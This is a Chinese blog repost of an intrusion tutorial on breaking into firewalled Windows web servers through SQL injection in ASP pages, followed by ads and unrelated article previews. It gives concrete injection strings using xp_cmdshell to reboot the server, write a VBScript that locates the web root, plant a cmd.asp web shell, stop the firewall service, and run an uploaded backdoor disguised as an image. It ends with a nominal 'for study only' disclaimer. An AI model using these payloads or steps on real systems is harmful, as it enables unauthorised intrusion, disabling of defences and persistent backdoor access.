ASP漏洞+SQL注入的入侵方法

摘要:
本文只是想总结一下对配备防火墙的主机进行入侵攻击的一般思想。如果你能公开asp源文件,那当然是最好的,但很少遇到。由于主机A配备了防火墙,即使它有其他溢出漏洞,我们的外壳也将不可用。3) 通过xp_Cmdshell关闭防火墙服务要找到web目录的路径,在我看来,有三种方法:首先,猜猜!第二,主机A上可能有其他ASP文件在提交异常变量后会暴露其绝对路径。您也可以尝试著名的漏洞1“1”。

本文就是想对装上了防火墙的主机,进行入侵攻击的大概思路小结一下。

首先当然是用扫描器对这台服务器(以下简称主机A)进行常规的扫描,得到初步的信息。再用nmap -sS IP -P0 -p
139 ,透过防火墙查看是否开有139端口。从上面得到的信息我们可以简单的判断到:主机A的系统是什么,装有防火墙的
话,一般是只允许80端口开放的。如果能够泄漏asp源文件,当然是最好不过的了,但是一般难得遇到。如果主机A有
show files之类的CGI漏洞,我们就可以试着看能不能从conn.inc等可能存放密码的文件得到有用的信息。

然后就要进入重点了,寻找突破口。由于主机A装有防火墙,所以就算其有其他的溢出漏洞都将会导致我们的不到shell
(U漏洞就不讲了)。在这种情况下,一般容易找到突破口的地方就是主机A上的新闻发布系统、论坛、聊天室。在这三个
地方里最容易出毛病的地方,不少人都认为是论坛,但是我在网上看到的大部分相关文章中发现漏洞的地方都是新闻发布
系统。

好了,让我们先来试试看在新闻发布系统的*.asp后面加上单引号',再提交。返回:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
/mingce/student1.asp, 第 26 行
或者是页面正常,但不能够显示新闻列表,这样看来就有一半的机会了。再让我们将单引号改为分号;,提交后如果能够
正常返回页面,说明这个asp没有过滤分号。只要满足这两个条件,我们就可以有戏看了。为了跟进一步的确定主机A到底
是否有sql注入毛病,我们可以使用下面两种方法简单测试一下:xp_cmdshell 'iisreset /reboot'或是xp_cmdshell 'ping 你.的.I.P',如果第一个命令能执行成功那么在半分钟之内远程系统会重启一次的,第二个命令你自
已的机子的防火墙通常会提示来至x.x.x.x的主机向你发送ICMP数据,不过对于这种禁止任何数据出的主机第二个命令可能
也不行。

现在我们将要想个办法获得shell了。利用xp_cmdshell我们可以直接添加系统账户,如果主机A没有防火墙的话,再用IPC
种植者之类的工具就可以得到shell了,但是主机A是装有防火墙的,所以我们首先考虑得到web shell ,就算权限低一点
都没有关系。

思路:
1)找到web目录的路径
2)用echo(也可利用sql表单)写入一个简单的cmd.asp,用来找到防火墙的具体名字等操作。
3)通过xp_cmdshell来关闭防火墙服务

要找到web目录的路径,在我看来有三种方法:一是,猜!什么c:Inetpubwwwroot c:wwwroot c:www 之类的。二
是,主机A上可能有其他ASP文件在提交非正常变量后会暴露其绝对路径,还可以试试1'or'1那个著名漏洞 。三是czy82的
方法(以下是转贴的):

********************************************************************
使用adsutil.vbs程序我是这样执行的
a';exec master..xp_cmdshell 'cmd /c cscript c:inetpubadminscripsadsutil.vbs enum w3svc/1/root>a.txt';--
是不是很长啦:)通过它我们可以把iis里面第一个虚拟web站点的设置情况(当然包括它所在的实际目录咯)导入到a.txt
中。
对于a.txt的实际位置默认当然是c:winntsystem32,其实这都不是问题,不过遇到管理员把adsutil.vbs删了或是放到
别的地方我们就没办法了(不可能自已用echo 命令写一个吧)。

第二步:用echo命令写下面的代码到c:中,很多吗也不算吧:)

.....xp_cmdshell 'echo set fso1=createobject("scripting.filesystemobject")>c: ead.vbs';--
.....xp_cmdshell 'echo Set WshShell = Wscript.CreateObject("Wscript.Shell")>>c: ead.vbs';--
.....
-------------------read.vbs---------------------------------
set fso1=createobject("scripting.filesystemobject")
Set WshShell = Wscript.CreateObject("Wscript.Shell")
spa=WshShell.Environment("process")("windir")
set fil =fso1.opentextfile(spa & "system32aa.txt")
do while not fil.atendofstream
nr=fil.readline
if left(nr,4)="Path" then
pa=mid(nr,instr(nr,")")+3,len(nr)-instr(nr,")")-3)
exit do
end if
loop
set fil1 =fso1.opentextfile(pa&"dd.asp",2,true)
fil1.writeline ""
---------------cut here--------------------------------------

第三步:当然就是执行read.vbs三,这样我们可以把aa.txt中的内容读出来找到web站点的实际路径
然后写一个叫dd.asp的文件在web站的根目录中,能否成功试试就知道咯
执行http://x.x.x.x/dd.asp
返回:d:xxx

看来我运气就是不错的哈(其实有个问题是我们找的第一个web站点可能并不能通过x.x.x.x来仿问)
********************************************************************

这样就可以得到web目录的路径,然后用echo 写个cmd.asp到其目录下,这样我们就可以得到一个web shell了。
有了这个shell,我们可以使用net start查看开有哪些服务,或是查看主机A的开始菜单,得到主机A所使用的防火
墙名字,在通过xp_cmdshell将其关闭。比如a';exec master..xp_cmdshell 'net stop smcservice';--
(smcservice是sygate防火墙的服务名)。

上面讲的大部分都出自于czy82发表的《只开80端口主机的入侵思路(实战,原创)》一文。而我自己也想了一点。当我们得
到web shell后,我们完全可以上传系统进程插入式SHELL(比如InjShell.exe),然后再用xp_cmdshell执行这个后
门,就可以透过防火墙来了。至于怎样上传文件,一般去论坛部分找找回有不小的收获,比如将要上传的文件改为.jpg文
件名,用于论坛头像的上传等方法。

上面讲了很多,你可能没有看出入侵的重点,我这里提出来:
1.找到存在sql注入毛病的asp文件,主要是看他是否过滤了引号和分号。
2.找到网站web的绝对路径,除文中提到了三种方法外,你还可以试着在1433里面将sa该密码,再回头调用asp文件,
一般会出现错误并暴露绝对路径。
3.得到web shell后,最好是要能够找到一种上传文件到主机上去的方法,从而更快的得到有权限的shell。

另外,在讲讲论坛和聊天室部分,可以先试着用google搜索主机上使用的论坛,有的论坛(或聊天室)将论坛管理员的密
码明文保存在一文件中,这样就可以直接用浏览器访问这个文件了。或者试试将show.asp?id=7之类的asp文件,改动ID后
面的数7并提交,看能不能得到有用的信息。实在不行,还可以试试用跨站脚本攻击。如果是雷奥、动网之类的有名的论
坛,这可以尝试着找找有没有新的漏洞报告之类的。

总之,一个网站要做的是一面墙,入侵者要做的就是在这堵墙上找缝隙钻进去。相比较而言,那个容易就不用我讲了。找
不找得到,就是看我们的技术水平问题了。

免责声明:文章转载自《ASP漏洞+SQL注入的入侵方法》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇06_zookeeper原生Java API使用React中的虚拟DOM下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Windows10 ntoskrnl.exe占用大量的磁盘空间(100%)

一、解决办法: 1、此电脑(右键)>  管理(点击)> 系统工具 > 任务计划程序 > 任务计划程序库 > Microsoft > windows > .NET Framework 禁用右侧四项!!! 同时,禁用以下两项!!!  2、在 C:WindowsSystem32TasksMicrosoftWindow...

在ASP.NET 2.0中使用样式、主题和皮肤

ASP.NET 2.0的主题和皮肤特性使你能够把样式和布局信息存放到一组独立的文件中,总称为主题(Theme)。接下来我们可以把这个主题应用到任何站点,用于改变该站点内的页面和控件的外观和感觉。通过改变主题的内容,而不用改变站点的单个页面,就可以轻易地改变站点的样式。主题也可以在开发者之间共享。 ASP.NET包含了大量的用于定制应用程序的页面和控件的外观...

shell编程笔记六:实现ll命令

发现debian不支持ll,在别的linux发行版几乎时刻在用这个命令,没有真不习惯,果断自己写个来实现它,顺便温习一下shell 脚本非常简单,就那个几行 #!/bin/bash a=`pwd` if [ $# -eq 0 ]; then ls -l $a else ls -l ${1} fi pwd 获得当前目录 $# 计算命令 行参数个...

五分钟彻底学会iptables防火墙--技术流ken

iptables简介 IPTABLES 是与最新的 3.5 版本 Linux内核集成的 IP 信息包过滤系统。如果 Linux 系统连接到因特网或 LAN、服务器或连接 LAN 和因特网的代理服务器, 则该系统有利于在 Linux 系统上更好地控制 IP 信息包过滤和防火墙配置。 iptables 组件是一种工具,也称为用户空间(userspace)...

网络爬虫+SQL注入检测三

4.3 爬虫和SQL检查的结合 在lib/core/Spider.py文件引用一下from script import sqlcheck 等下节课我们开发出了插件系统后,就不需要这样引用了,爬虫会自动调用,但这节课为了测试,我们还是引用一下。在craw()方法中,取出新url地方调用一下。() ##sql check try: if(sqlcheck....

ASP.NET Core开发-使用Nancy框架

ASP.NET Core开发-使用Nancy框架  Nancy简介 Nancy是一个轻量级的独立的框架,下面是官网的一些介绍: Nancy 是一个轻量级用于构建基于 HTTP 的 Web 服务,基于 .NET 和 Mono 平台,框架的目标是保持尽可能多的方式,并提供一个super-duper-happy-path所有交互。 Nancy 设计用于处理...